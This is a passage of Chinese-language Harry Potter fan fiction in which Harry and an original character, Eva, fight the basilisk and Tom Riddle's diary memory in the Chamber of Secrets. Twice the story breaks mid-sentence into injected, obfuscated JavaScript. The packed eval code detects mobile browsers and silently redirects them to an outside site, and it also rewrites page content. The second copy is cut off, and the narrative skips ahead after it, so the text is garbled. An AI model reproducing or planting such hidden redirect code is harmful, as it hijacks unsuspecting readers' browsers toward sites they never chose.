哈利最后看了一眼罗恩,又看了一眼地上石化的赫敏,眼神沉重。“荧光闪烁。”他魔杖尖亮起白光,照亮了洞口内湿滑的、向下倾斜的岩石表面。 他转向Eva,点了点头,然后身体前倾,一只手举着魔杖照明,另一只手握着肥皂盒,滑入了黑暗。 Eva深吸一口气,最后看了一眼罗恩,对他点了点头,然后跟着滑了下去。在进入黑暗前的一刹那,她调动体内那股平和的“炁”,让它缓缓流转起来——不是为了攻击,而是为了保持心神清明,抵御可能的地底阴寒与黑暗中的恶意。 加速,黑暗,湿冷的风。滑道仿佛没有尽头。 而在地面之上,罗恩最后看了一眼赫敏僵硬的身影和那个黑暗的洞口,听着哈利和Eva滑下去的声音迅速消失,用力抹了一把脸,转身冲出盥洗室,用最快的速度奔向城堡深处,去寻找能拯救一切的希望。 “等着我……一定要等着我……”他一边狂奔,一边在心里嘶喊,眼泪混合着汗水流下来,但脚步没有丝毫停顿。 53. 滑道之下 滑道比想象中更长。 黑暗像粘稠的墨汁,包裹着Eva的身体往下坠。耳边是呼呼的风声和滑道湿滑内壁摩擦袍子发出的沙沙声。空气越来越冷,越来越潮湿,那股熟悉的土腥味里混杂着一种更浓重的、像是某种大型爬行动物巢穴特有的腥臊气,直冲鼻腔,让人想咳嗽。 下滑大概持续了一分钟——也可能更久,黑暗中时间感变得模糊。就在她觉得滑道似乎永远不会结束时,坡度突然变缓。 “小心!”哈利在前面低喊。 Eva立刻绷紧身体,努力控制平衡。滑道尽头不是平地,而是一个突然的、向下的弧度——像游乐场的滑梯出口。她感觉自己被抛了出去,在空中短暂地失重,然后“噗通”一声摔进一片冰冷的、没过脚踝的水里。 水很凉,刺得她一个激灵。她挣扎着站直,魔杖高举,荧光咒照亮了周围。 这是一个巨大的地下洞穴。 洞穴比礼堂还大,穹顶高得看不见,上面垂下无数钟乳石,像倒挂的牙齿,在魔杖光下泛着湿漉漉的微光。地面是粗糙不平的岩石,到处是积水和水洼,倒映着荧光咒惨白的光,像无数破碎的眼睛。空气沉闷得令人窒息,弥漫着浓重的、冰冷的湿气和那种令人作呕的腥臊味。 “哈利?”Eva的声音在空旷的洞穴里激起轻微的回音。 “我在这里。”哈利的声音从左边传来。他也摔进了水里,正撑着膝盖站起来,魔杖的光照亮了他苍白的脸和湿漉漉的黑发。荧光下,他额头的疤痕显得格外清晰。 他迅速环顾四周,绿眼睛在昏暗中警惕地扫视每一个阴影角落。“金妮?”他试探着喊道,声音不大,但在死寂的洞穴里传得很远。 没有回应。只有水滴从钟乳石尖滴落的“嗒、嗒”声,在空旷中显得格外清晰。 他们继续往前走,尽量避开积水深的地方,但靴子还是很快就湿透了,冰冷的水浸透袜子,每一步都发出“咕叽咕叽”的声音。洞穴里安静得可怕,只有他们的脚步声、滴水声和彼此压抑的呼吸声。 “你能听见什么吗?”Eva轻声问。 哈利停下脚步,闭上眼睛,侧耳倾听。几秒钟后,他睁开眼,摇了摇头:“没有。刚才在上面还能听见它在管道里移动的声音,但现在……太安静了。” 安静得让人心慌。Eva握紧了魔杖。太安静了,反而像有什么东西在暗处屏息等待。 突然,哈利停下脚步,举起了手。 Eva立刻也停下,屏住呼吸。 前面不远处的石壁下,躺着一个瘦小的身影。 是金妮·韦斯莱。 她蜷缩在那里,脸色苍白得像纸,眼睛紧闭着,像是睡着了,又像是……没有知觉。她身边的地上,那本暗红色的日记本摊开着,纸页在潮湿的地面上微微卷曲。 “金妮!”哈利冲过去,跪在她身边,伸手去探她的呼吸。Eva紧随其后,举着魔杖照亮。 金妮还有呼吸,但很微弱。她的校袍湿透了,沾满了泥污,整个人冰凉冰凉的,像刚从冰水里捞出来。她的嘴唇微微翕动,像是在说梦话,但发不出声音。 “金妮?醒醒!”哈利轻轻摇晃她的肩膀。 金妮的眼皮颤动了一下,但没有睁开。她的呼吸更加微弱了,胸口几乎看不出起伏。 “她……她的生命力在被吸走。”Eva低声说,想起爷爷关于“□□邪物”的描述。她能看到金妮脸上那种不正常的灰败色泽,就像生命力正在快速流失。 哈利也察觉到了不对。他看向地上那本摊开的日记本——本子看上去很普通,但在这个阴冷潮湿的洞穴里,却给人一种诡异的、活物般的感觉。 就在这时,洞穴深处传来了声音。 不是金妮那种虚弱的气息声。是一种低沉的、湿漉漉的嘶嘶声,像巨大的舌头在舔舐岩石,又像粘稠的液体在管道里流动。声音从洞穴深处传来,由远及近,越来越响,带着一种让人头皮发麻的、非人的恶意。 哈利和Eva同时僵住了。 “荧光闪烁!”哈利猛地举起魔杖,更强的白光射向声音传来的方向。 光柱刺破黑暗,照亮了洞穴深处——那里有一个巨大的、圆形的深坑,坑口黑漆漆的,看不见底。而就在坑口边缘,有什么巨大的、翠绿色的东西在缓缓蠕动。 蛇怪的身体。 Eva只瞥了一眼——巨大的、覆盖着菱形鳞片的蛇身,翠绿色在魔杖光下泛着湿漉漉的油光,比她见过的任何东西都要粗壮。她立刻移开视线,同时大声喊道:“闭眼!哈利!不要看!” 她自己也紧紧闭上了眼睛,同时把镜片举到身前,用镜片的反光来观察。 哈利也立刻闭上了眼,把肥皂盒举在面前。 通过镜片模糊的反光,Eva看到蛇怪的身体正从深坑里升起,带起一阵腥风和粘液飞溅的声响。蛇头还没完全露出来,但她已经能感觉到那股令人窒息的压迫感越来越近。 蛇怪完全从深坑里升起来了。 Eva通过镜片的反光,看到了蛇头——扁平的三角形,嘴巴大张着,露出四根弯刀般的长牙。而那双眼睛……她不敢细看,只在镜片反光中瞥见两点黄色的光在黑暗中亮起,像邪恶的灯笼。仅仅是这一瞥,就让她感到一阵眩晕和恶心,仿佛那目光中蕴含着某种可以直接侵蚀灵魂的恶意。 蛇怪开始移动了。巨大的身体擦过岩石,发出刺耳的摩擦声。它没有攻击他们,而是朝着一个方向滑去——朝着地上那本摊开的日记本。 日记本开始发光,暗红色的光芒越来越亮,像一颗跳动的心脏。光芒中,有什么东西正在从日记本里升起来——一团模糊的、人形的黑影,像烟雾一样凝聚,越来越清晰。 是一个男孩的轮廓。 他看起来大概十六七岁,黑头发,高个子,相貌英俊,但脸上带着一种冰冷的、傲慢的神情。他穿着五十年前的霍格沃茨校袍,胸口是斯莱特林的徽章。他悬浮在日记本上方,身体半透明,像幽灵,但又比幽灵更凝实。 他用蛇语说着什么。然后他转向哈利和Eva,声音清晰,带着一股子居高临下的味道: “哈利·波特。我们又见面了。” 哈利愣愣地看着他:“你是谁?” 男孩没有立刻回答。他伸出手指——半透明的手指——在空中划动。指尖带起暗红色的光痕,组成了一行字母: TOM MARVOLO RIDDLE 然后,那些字母开始移动、重组,像有生命一样排列成了新的句子: I AM LORD VOLDEMORT (我是伏地魔) Eva倒吸一口冷气。虽然早有猜测,但亲眼看到这个名字重组,证实了这个十六岁英俊少年就是那个令整个巫师界恐惧的黑魔王年轻时的模样,依然让她脊背发凉。 “汤姆·马沃罗·里德尔,”哈利盯着那行字,又看看男孩,“你是……你是伏地魔?” “曾经的名字,”里德尔——或者说,伏地魔的年轻模样——微微一笑,那笑容里没什么温度,“我十六岁的时候。现在,我是伏地魔。或者说,我的一部分。” 他飘近了些,目光扫过地上的金妮,又看看日记本。“这个女孩给了我很多,”他的声音很平静,好像在说一件理所当然的事,“她的恐惧,她的秘密,她的……生命力。一点一点,都写进了这本日记里。我原本可以更早获得形体,如果不是……” 他的目光转向Eva,眼神里闪过一丝审视和……兴趣?“如果不是这位有趣的小姐,在我吸取金妮·韦斯莱生命力的过程中,察觉到了异常,并且试图用某种东方的、我不熟悉的方式隔绝日记本。” Eva心里一紧。他知道了。爷爷说“器可离,根难除”,日记本的影响已经深深扎在金妮心里,而自己天真的隔绝尝试,反而可能让情况更糟——就像把溃烂的伤口勉强盖住,内里的腐坏却更肆无忌惮。 “你封存日记本,确实延缓了我汲取生命力的速度,”里德尔继续说,像是在点评一个实验,“但可惜,你无法切断已经建立的联系。金妮对我的……依赖,太深了。即使没有日记本在身边,她依然会梦游般寻找我,在墙壁、在书本的空白处,写下那些滋养我的文字。而且……” 他顿了顿,笑容加深了些,更冷了:“你藏起日记本的行为,反而让这个女孩更加恐慌,更加渴望与我‘交流’。恐惧和孤独,是很好的养料。你无意中……加剧了这一切。” Eva感觉胃里像塞了块冰。她以为自己保护了金妮,结果反而…… “所以日记本会回到金妮那里,”哈利的声音紧绷,“是因为她需要它?还是你……” “我需要一个身体,”里德尔说得直接,“金妮的生命力还不够完整地塑造一个实体,但足够让我显形,足够让我召唤……”他看向洞穴深处,用蛇佬腔说了句什么。 洞穴深处传来了声音。 低沉,湿滑,带着鳞片摩擦岩石的窸窣声,由远及近。 蛇怪滑到日记本旁边,巨大的蛇头低垂下来,像是在向里德尔表示臣服。里德尔伸出手——那手半透明但越来越凝实——轻轻抚摸着蛇怪翠绿色的鳞片。 “很好,”里德尔开口了,声音年轻,清晰,带着一种令人不舒服的、滑腻的优雅,“我的宠物。你做得很好。现在,帮我完成最后一步。” 他转向金妮,眼神冰冷:“这个女孩把她的生命给了我——现在她的生命力几乎耗尽了,而我……我即将获得真正的形体。” 里德尔的身体渐渐凝实。Eva能通过镜片反光看到他脸上细微的表情变化,看到他袍子的褶皱变得更清晰。 “阻止他!”哈利大喊,闭着眼睛朝日记本的方向举起魔杖,“粉身碎骨!” 红光射出,但里德尔只是轻蔑地一挥手——没有魔杖,但一道无形的屏障出现,哈利的咒语撞在上面,消散了。 “没用的,波特,”里德尔说,声音里带着一丝得意,“你的咒语对一个记忆体是无效的。” “现在,”里德尔转向蛇怪,用蛇佬腔说了什么——嘶嘶的,滑腻的声音让Eva起了一层鸡皮疙瘩,“杀了他们。除了哈利·波特。我要他活着,看着他关心的人死去,然后……也许他还能有点用。” 蛇怪嘶吼一声,巨大的身体猛地转向他们。 “跑!”哈利大喊。 但来不及了。蛇怪的速度快得惊人,巨大的蛇头像攻城锤一样朝他们撞来。Eva只来得及朝旁边扑倒,冰凉的泥水溅了一身。她听到哈利的闷哼声——他被蛇尾扫到了,重重撞在石壁上。 “哈利!”Eva喊,举起魔杖,“统统石化!” 咒语击中蛇怪的身体,但只让它的动作顿了一下——蛇怪太大了,全身覆盖着坚硬的鳞片,石化咒的效果微乎其微。 “昏昏倒地!”哈利也爬了起来,闭着眼睛施咒。 红光击中蛇怪的头部,但也没什么效果。 他们一边闭着眼睛,一边凭感觉躲避蛇怪的攻击。洞穴里空间有限,蛇怪巨大的身体几乎占据了所有空间,每一次摆动都带起腥风,撞碎岩石。Eva的袍子被石屑划破了好几处,哈利的手臂也在流血。 “障碍重重!”“统统石化!”“昏昏倒地!” 咒语像徒劳的雨点打在蛇怪坚硬的鳞片上,迸发出零星的火花,却几乎无法延缓它逼近的势头。他们只能闭着眼,凭借魔杖荧光在镜片中的微弱反光和呼啸的风声,狼狈地闪躲。 蛇怪每一次愤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980669|193567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怒的摆动都像是洞穴的一场小型地震。它巨大的尾巴扫过地面,溅起的不是水花,而是混合着碎骨和淤泥的腥臭浪潮,劈头盖脸地浇在他们身上。“砰!”一次猛烈的撞击,蛇身擦过洞壁,一大片生长了不知多少年的、湿滑的暗绿色苔藓被整块刮落,如同黏腻的毯子般落下,差点将Eva绊倒。更多被震松的钟乳石从高处断裂,尖锐的石锥带着破空声“嗖嗖”坠下,砸进周围的水洼,溅起高高的水柱。 空气中弥漫着石粉、水汽、焦糊味和蛇怪身上浓得化不开的腥臊。Eva的袍子早已湿透,沾满了泥污,下摆被尖锐的石棱划开好几道口子,冰冷的地下水浸透靴子,每一步都发出“咕叽”的声响,且越来越沉重。哈利的手臂被飞溅的石块划伤,鲜血顺着手肘滴落,在浑浊的水面上晕开淡淡的红色。 这不是战斗,这根本是在一头被激怒的史前巨兽的巢穴里,进行一场绝望的生存挣扎。 “火焰熊熊!”哈利尝试用火,但洞穴太潮湿了,火焰只烧了一下就熄灭了,只在蛇怪坚硬的鳞片上留下一块焦痕,让它更加狂躁。 “障碍重重!”Eva再次施咒,一道无形的墙暂时挡住了蛇怪的冲撞,但只维持了几秒就被撞碎。蛇尾横扫而来,Eva狼狈地扑向一旁,躲过了致命一击,但袍子下摆被尖锐的石棱划开,冰冷的积水瞬间浸透了她的小腿。 不能再这样被动挨打!Eva脑子飞速转动。常规咒语对蛇怪效果有限,哈利还在勉力支撑,金妮的生命力在持续流失……她必须用上所有能用的东西。念头一闪,她猛地想起了爷爷给的小锦囊。 她一边狼狈地躲闪着蛇怪再次袭来的头颅,一边飞快地从贴身的衣袋里掏出那个深蓝色锦囊,手指因为紧张和冰冷而有些发抖。来不及多想,她抽出了那张折叠的、极薄的黄色符纸——上面用朱砂画着她看不懂的复杂符文,笔画遒劲,透着一种古朴而强大的气息。 生死关头,大脑一片空白,爷爷的叮嘱却异常清晰地回响在耳边:“心念至,炁自随;符脱手,意先达。” 那不是复杂的咒语,而是一种近乎本能的反应模式。 没有时间思考原理或技巧。Eva全部的注意力、恐惧、以及对眼前这头恐怖生物的决绝反抗之意,都凝聚在握着符纸的那只手上。她感到体内那股平素温和流转的“炁”,仿佛被这股强烈的意志所引动,瞬间变得灼热而奔腾,顺着经脉涌向掌心! 符纸在掌心微微一颤,竟变得有些烫手。她朝着蛇怪那令人窒息的巨口方向,用尽全力将符纸掷出,一声压抑已久的、源自本能的叱喝冲破喉咙:“燃!” 那张轻飘飘的黄色符纸脱手飞出,并未立刻燃烧,而是像被一股无形的力量牵引,在空中划过一道短暂的、亮眼的金光轨迹,精准地飞向蛇怪的其中一只眼睛——那里是脆弱、没有厚重鳞片覆盖的区域。 符纸在接触到蛇怪眼眶附近空气的刹那,骤然化作一团炽烈的金白色光焰!那并非凡火,而是蕴含着古老净化之力的真阳之火,对一切阴邪污秽之物有着天然的克制。光焰并未直接灼烧蛇怪坚硬的鳞甲,但散发的纯阳气息如同烧红的烙铁贴近它的眼睛——那是蛇怪全身最脆弱、也最黑暗力量汇聚之处。 “嘶——!!!” 蛇怪发出一声饱含痛苦与暴怒的尖厉嘶鸣。它猛地甩头,巨大的身躯痉挛般扭动,狠狠撞在旁边的石壁上。这火焰带来的不仅是灼痛,更是一种深入骨髓、仿佛在灼烧它邪恶本质的奇异痛楚。符纸很快燃尽,只在蛇怪眼眶周围留下一片焦黑的痕迹,并未造成严重伤害,但那种被“天敌”气息近距离灼烧灵魂的恐惧与愤怒,让它彻底陷入了狂暴。 里德尔冰冷的声音带着被冒犯的怒意响起:“令人厌恶的把戏……但激怒我的宠物,是你们最愚蠢的选择!杀了他们!尤其是那个女孩!” 蛇怪不再保持任何狩猎的优雅或试探。剧痛让它失去了理智,只剩下毁灭的本能。它不再用身体冲撞,而是以一种近乎癫狂的速度,猛地将前半截身体高高昂起,然后像一根被全力抽打的翠绿色巨鞭,朝着Eva和哈利所在的位置狠狠砸下!同时,那张布满利齿的巨口大张,腥臭的毒液从牙尖滴落,混合着因疼痛而分泌的粘稠唾液,随着它头部的猛烈摆动,呈扇形向他们喷洒而来!攻击不再有章法,而是覆盖性的、歇斯底里的毁灭。 这时,哈利突然开口了——不是英语,是一种嘶嘶的、滑腻的语言。蛇佬腔。 他在对蛇怪说话。 蛇怪猛地抬起头,剩下的那只黄色眼睛转向哈利的方向,眼神里闪过一丝困惑。它听懂了。 里德尔的脸色沉了下来。“蛇佬腔,”他冷冷地说,“斯莱特林的血脉。多么讽刺,波特,你本可以成为我的得力助手。” 哈利没有理会他,继续嘶嘶地说着什么。Eva听不懂,但她看到蛇怪的动作停了下来,巨大的蛇头微微侧着,像是在倾听,又像是在犹豫。 它在听从蛇佬腔的命令和服从里德尔之间摇摆。 “够了!”里德尔厉声喝道,他转向蛇怪,也用蛇佬腔说了什么——声音更高,更威严,带着不容置疑的命令。 蛇怪发出一声低沉的嘶吼,再次转向哈利和Eva,眼神里的困惑消失了,只剩下冰冷的杀意。 它要攻击了。 “障碍重重!”哈利闭着眼睛,凭着感觉朝蛇怪的方向施咒。这次蛇怪只是用头撞碎了屏障,速度几乎没有减慢。 “昏昏倒地!”“统统石化!”Eva也连续施咒,但咒语打在坚硬的鳞片上,效果微弱。 蛇怪已经到了面前。Eva能闻到它嘴里散发出的、混合了血腥和毒液的腥臭味。她能感觉到那股冰冷的、充满恶意的气息扑面而来。 没有咒语可用了。Eva脑子里一片空白,只剩下求生的本能。 54. 剑与石头 就在这时,她手里的黑石突然变得温暖起来——不是玉佩那种温润的暖,而是一种更强烈、更清晰的暖意,像在提醒她什么。 她想起了很小的时候,在江南老宅的院子里,爷爷教她唱过的一首童谣。那时她大概四五岁,坐在槐树下,看着爷爷磨墨。爷爷一边磨,一边用那种缓慢的、带着江南口音的调子哼唱: “青石光,映月光,照得邪祟无处藏。” “一时三刻现原形,石中宝,护心肠。” 她当时不懂什么意思,只觉得调子好听,像小河水流过石板。爷爷说:“丽华啊,记住这个调子。以后要是遇到不干净的东西,心里默念这个调子,握着有灵气的石头,也许能有点用。” 现在,她握着这块爷爷给的、温润的黑石,感受着体内那股平和的“炁”,那首童谣的每一个字突然变得清晰起来。 这不是普通的童谣。这是口诀。 “你在做什么,小女孩?”里德尔注意到了她的动作,声音里带着一丝好奇和轻蔑,“东方的把戏?对伟大的黑魔法来说,那些都是儿戏。” Eva没有理会他。她闭上眼睛,深吸一口气,不再试图驱动攻击性的魔力,而是将全部心神沉入体内那股平和的“炁”中——不是加速,而是引导它以一种古老、稳固的循环方式流转,仿佛在体内构筑一个微小的、清静的结界。同时,她低声念诵起爷爷教的童谣,用中文,声音轻而稳,像在陈述一个古老的事实: “青石光,映月光,照得邪祟无处藏。” 随着念诵,她紧握的黑石不再只是温热,而是从内部透出一种润泽的、月华般的清辉。石头上浮现出那些淡金色的符文,光芒不强,却异常纯净。这不是攻击的光,而是驱散污浊、澄澈心神的光。它形成一个以她为中心、直径约六七英尺的柔和光晕。 光晕所及之处,洞穴里那种粘稠的、令人窒息的黑暗与恶意仿佛被稀释了。空气似乎变得清爽了些,那股直冲灵魂的腥臊与压迫感明显减弱。 蛇怪冲近光晕边缘,突然发出一声困惑而不安的嘶吼,猛地停下了扑击。它剩下的那只黄色独眼在光晕外急躁地转动,庞大的身体躁动地扭动,却仿佛面前有一层无形的、令它厌恶和不适的屏障,不敢轻易踏入。那光芒并不灼烧它,却让它所依赖的黑暗与恐惧的氛围褪色,让它感到一种本能的排斥和虚弱。 里德尔的身影在光晕外剧烈地波动起来,如同水中的倒影被投入了石子。“令人作呕的……清净……”他的声音带着压抑的怒火和一丝不易察觉的惊疑,“但这改变不了什么!这光芒能撑多久?你的‘气’又能支撑多久?” Eva没有回答,继续念诵,声音大了一些,调子和爷爷教的一模一样:“一时三刻现原形——” 黑石上的光芒更亮了。她感觉到体内的“炁”正源源不断地流向它,像给一盏灯添油。石头变得温暖起来,几乎有些烫手,但那种烫不伤人,反而让她的手心发热,连带着冰冷的手臂也暖和了一些。 光芒从石头上升起,不是刺眼的光柱,而是一圈柔和的光晕,以她为中心扩散开来。光晕不大,直径大概只有五六英尺,但所到之处,洞穴里那种粘稠的黑暗似乎被“推开”了一些,空气都变得清爽了些。 蛇怪向后退了一点,发出不安的嘶嘶声。它不喜欢这光。 “石中宝,护心肠!” 最后一句念完的瞬间,光晕稳定下来,笼罩着Eva、哈利,以及不远处的金妮。但Eva的脸色肉眼可见地变得苍白,汗水浸透了她的额发,顺着脸颊滚落。她能清晰地感觉到,体内那股原本平和的“炁”正在以前所未有的速度流逝,像是有什么东西正从她生命的最深处被抽走。视野边缘开始发黑,握石的手开始不受控制地颤抖。 里德尔看出了她的勉强,嘴角勾起一抹冷笑。 就在这时,一声清亮高亢到极致的鸣叫从洞穴上方传来! 那不是普通的鸟鸣。那声音中蕴含着一种古老、神圣的频率,穿透层层岩石直抵地底,带着令一切邪恶生物本能战栗的力量。是公鸡啼鸣的频率,更是百鸟之王凤凰的威仪! 一只金红色的大鸟从黑暗中俯冲而下,它有着华丽的尾羽和金色的喙爪——是凤凰福克斯!在它清越的鸣叫声中,蛇怪猛地发出一声痛苦的嘶鸣,剩下的那只独眼惊恐地闭上,巨大的身体剧烈地痉挛起来,仿佛那声音本身化作了烧红的烙铁,烫在它的神经上。 福克斯爪子里抓着一顶破破烂烂的帽子,直直地朝哈利飞来。 “福克斯!”哈利惊喜地喊。 凤凰福克斯飞到哈利头顶,松开爪子。那顶帽子——分院帽——掉在哈利手里。 “帽子?”哈利愣住。 但下一秒,帽子动了动,从里面掉出一把闪闪发光的银剑——剑柄上镶嵌着鸡蛋大的红宝石,剑身在黑暗中发出清冷而坚定的光芒。 格兰芬多宝剑。 哈利握住剑柄,剑比他想象的重,但他稳稳地拿住了。剑柄传来的不仅是金属的冰凉,还有一种奇异的、鼓舞人心的暖流,仿佛千百年前那位创始人的勇气正透过剑身传递给他。 就在这时,笼罩着他们的金色光晕剧烈地闪烁了几下,突然熄灭了。黑石从Eva手中滑落,掉进水里,发出沉闷的“扑通”声。她身体一软,向前栽倒,脸埋进泥水中,晕了过去。她能做的最后一件事,是将最后一丝意念导向那圈光晕,让它在她倒下前,多笼罩了金妮一瞬——在光芒彻底消散的刹那,金妮紧闭的眼睫似乎极其轻微地颤动了一下。 洞穴重新被冰冷的黑暗和浓重的腥气填满。金色光晕消散后,那种被“推开”的清爽感荡然无存,取而代之的是更令人窒息的压抑。Eva倒在冰凉的泥水里,一动不动,只有微微起伏的背脊显示她还活着。那块温热的黑石就落在她手边不远的水洼里,光芒尽失,恢复成一块普通黑石的模样,只是表面似乎多了几道细微的裂痕。 蛇怪晃动着仍在刺痛的头颅,发出愤怒的嘶嘶声。福克斯的鸣叫虽然让它痛苦,但并未持续。它剩下的那只黄色独眼在黑暗中重新亮起,充血的目光扫过倒地不起的Eva,最终死死锁定了握着银剑的哈利——这个伤它眼睛、又手持危险武器的人。 福克斯落在不远处一根低矮的钟乳石上,金红色的羽毛在魔杖光的映照下泛着温暖的光泽。它发出几声清亮而急促的鸣叫,像是在警示,又像是在催促。 哈利深吸了一口气,冰冷潮湿的空气刺痛了他的肺。他双手紧握着格兰芬多宝剑的剑柄,剑身比他想象的重得多,冰冷的金属触感透过掌心传来。剑刃在黑暗中反射着微弱的魔杖光——那是他自己的魔杖发出的荧光闪烁,被蛇怪撞飞后,他刚刚才摸索着从水洼里捡回来。 在他对面,汤姆·里德尔——或者说,伏地魔十六岁的影子——身影重新开始凝实。虽然比之前暗淡了许多,但金色光芒的打断显然给了他喘息之机。他那半透明的脸上恢复了那种冰冷的、居高临下的神情。 “有趣的光,”里德尔用蛇佬腔嘶嘶地说,声音里听不出情绪,“短暂,但有效。可惜,小女孩的力气用完了。”他的目光扫过倒在地上的Eva,又回到哈利身上。“现在,只剩下你了,波特。” 他用蛇佬腔对蛇怪发出了清晰、不容置疑的命令——一个简短的、充满杀意的音节。 蛇怪巨大的身体猛地弓起,肌肉在翠绿色的鳞片下贲张,像一张拉满的巨弓。洞穴里回荡起鳞片刮擦岩石的刺耳声响。它仅剩的黄色独眼死死锁定哈利,瞳孔在黑暗中收缩成一条细缝。 哈利闭上了眼睛。 他不能看。绝对不能看。 耳朵捕捉着每一点声响——蛇怪沉重的呼吸声,粘液滴落的声音,鳞片摩擦的沙沙声……还有他自己的心跳,在胸腔里狂跳如擂鼓。手里的剑沉甸甸的,剑柄上的红宝石贴着他的掌心,传来一丝奇异的暖意。 蛇怪动了。 没有预兆,巨大的蛇头像离弦的箭,带着腥风和死亡的气息,朝着哈利猛扑过来! 哈利凭着感觉向旁边翻滚。毒牙擦着他的袍子掠过,撕开一道口子。他听到身后岩石被撞碎的轰响,碎石飞溅,打在他的背上生疼。 他滚到一半,单手撑地,另一只手握着剑,凭着对声音来源的判断,猛地向上刺去! “噗!” 剑尖刺中了什么,但不够深。蛇怪发出一声痛楚的嘶吼,蛇头猛地甩动。巨大的力量将哈利连人带剑甩飞出去,他重重撞在石壁上,眼前一黑,差点昏过去。 剑脱手了。 银色的格兰芬多宝剑在空中划出一道弧线,“哐当”一声掉在几英尺外的岩石上,剑身上的光芒黯淡了些。 哈利挣扎着爬起来,嘴里有血腥味。他摸向魔杖——还在手里。但对付蛇怪,咒语几乎没用。 蛇怪转过身,黄色的独眼在黑暗中寻找着他。它的下颚处有一道浅浅的伤口,正在渗出暗绿色的血液,但这显然不足以致命,反而彻底激怒了它。 里德尔悬浮在一旁,脸上带着欣赏猎物挣扎般的冷漠微笑。“挣扎吧,波特,”他说,声音清晰而残忍,“让我看看你能撑多久。” 蛇怪再次扑来。这次哈利没有完全躲开,蛇尾扫中了他的腿,他听到自己脚踝处传来一声轻微的“咔嚓”,剧痛瞬间传来。他闷哼一声,摔倒在地,魔杖滚落到一边。 他离剑只有几步远,但蛇怪巨大的身体已经横亘在中间,堵死了去路。黄色的独眼居高临下地俯视着他,瞳孔里倒映着他狼狈的身影。蛇嘴张开,四根弯刀般的毒牙滴着粘稠的毒液,腥臭的气息几乎让他窒息。 完了。哈利脑子里闪过这个念头。 就在这一瞬间,福克斯再次发出一声尖锐到极致的鸣叫! 那不是普通凤凰的叫声,而是一种穿透灵魂、震撼心神的高亢啼鸣!声音在洞穴中反复回荡、叠加,形成了一种奇异的、充满力量的和声,其中分明蕴含着令蛇类生物灵魂战栗的、类似公鸡啼鸣的古老频率! 蛇怪的动作猛地僵住了。 它像是被这声音刺穿了耳膜,又像是被某种铭刻在血脉深处的古老天敌本能攫住。巨大的蛇头痛苦地摇晃起来,独眼紧闭,整个身体开始不受控制地扭动、翻滚,撞得洞穴石屑纷飞,仿佛正承受着难以言喻的折磨。 凤凰的叫声,是蛇怪的天敌!这声音不仅刺痛它的感官,更在削弱它赖以行动的邪恶力量! 哈利抓住这千钧一发的机会。他强忍着脚踝的剧痛,手脚并用,朝着格兰芬多宝剑的方向爬去。每一步都疼得他眼前发黑,泥水灌进他的口鼻,但他不敢停。他能感觉到蛇怪的挣扎正在减弱,福克斯的鸣叫无法永远持续。 手终于碰到了冰冷的剑柄。 他握紧,用尽全身力气,借着爬行的惯性,将身体和剑一起向前送—— 不是刺,是捅。 剑刃对准了蛇怪因为痛苦翻滚而暴露出来的、相对柔软的腹部下方。 “噗嗤!” 这一次,剑刃深深地、彻底地没入了血肉之中,直至没柄。 蛇怪发出了它生命中最后一声嘶吼。那声音不再充满威慑,而是充满了垂死的痛苦和惊惧。巨大的身体疯狂地抽搐、拍打,将哈利连同剑一起甩开。鲜血像喷泉一样从伤口涌出,暗绿色,带着刺鼻的腥气。 哈利摔在地上,浑身浴血,但手里仍然死死握着剑柄——剑还插在蛇怪身上。 蛇怪又挣扎了几下,动作越来越慢,越来越无力。最后,它巨大的头颅重重垂下,“轰”的一声砸在岩石上,再也不动了。黄色的独眼渐渐失去了光泽,永远地闭上了。 洞穴里一片死寂。 只有福克斯缓缓落下的翅膀声,和哈利粗重痛苦的喘息。 哈利躺在冰冷的泥水里,望着洞穴高不可及的黑暗穹顶,一时间什么也想不了。脚踝的剧痛,浑身的伤痛,还有劫后余生的虚脱感,像潮水一样淹没了他。 然后他想起了什么,挣扎着撑起上半身,看向Eva倒下的方向。 她还躺在那里,脸半侧着浸在水里,一动不动。 “Eva……”哈利的声音沙哑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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里德尔冷笑一声:“没用的,女孩。这本日记灌注了强大的黑魔法,普通的物理破坏……” 他的话没说完。 因为金妮没有停。她一次又一次地举起石头,砸向日记本。没有章法,没有技巧,只是用尽一个十一岁女孩最后的力量,一下,又一下。她的眼泪混着脸上的泥污流下来,但眼神却越来越亮,那是一种被逼到绝境后的、纯粹的愤怒和反抗。 “把我的……哥哥们……还给我……把赫敏……把科林……把大家……还给我……把我的……生活……还给我!” 她的声音越来越弱,但手上的动作没有停。石头砸在日记本上,发出沉闷的“噗噗”声。 里德尔的脸色变了。他试图阻止,但作为记忆体的他,无法直接干涉物理世界。他只能眼睁睁看着金妮机械地、固执地砸着。 突然,金妮手里的石头砸中了之前光束灼烧出的焦黑洞口。日记本的封皮突然脆弱了一些,这一下,石头尖角刺破了焦黑的边缘,扎了进去。 暗红色的、粘稠的、像血又像墨的液体,从破口处渗了出来。 里德尔发出一声短促的、痛苦的嘶声。他的身影剧烈地晃动起来,变得比任何时候都要模糊。 金妮看到了破口。她扔下石头,伸出颤抖的手指,抠住破口的边缘,用尽生命最后的力量,狠狠一撕—— “撕拉!” 日记本的封皮被她撕开了一道大口子。 更多的暗红色液体涌出,那液体仿佛有生命般扭曲着,散发着不祥的气息。里德尔的身影开始扭曲、变形,像融化的蜡像,边缘不断溃散。他张开嘴,似乎想说什么,但发不出声音。他的眼睛——那双曾经充满傲慢和冰冷的眼睛——第一次露出了真实的、难以置信的惊恐。 金妮没有停。她抓住撕开的口子,用尽最后的力气,将日记本猛地掰开,狠狠掼在旁边的岩石上! “不——!!!” 里德尔最后的声音不是从喉咙发出的,更像是从灵魂深处挤出的、充满痛苦与不甘的尖啸。然后,他的身影像被风吹散的烟雾,彻底消失了。 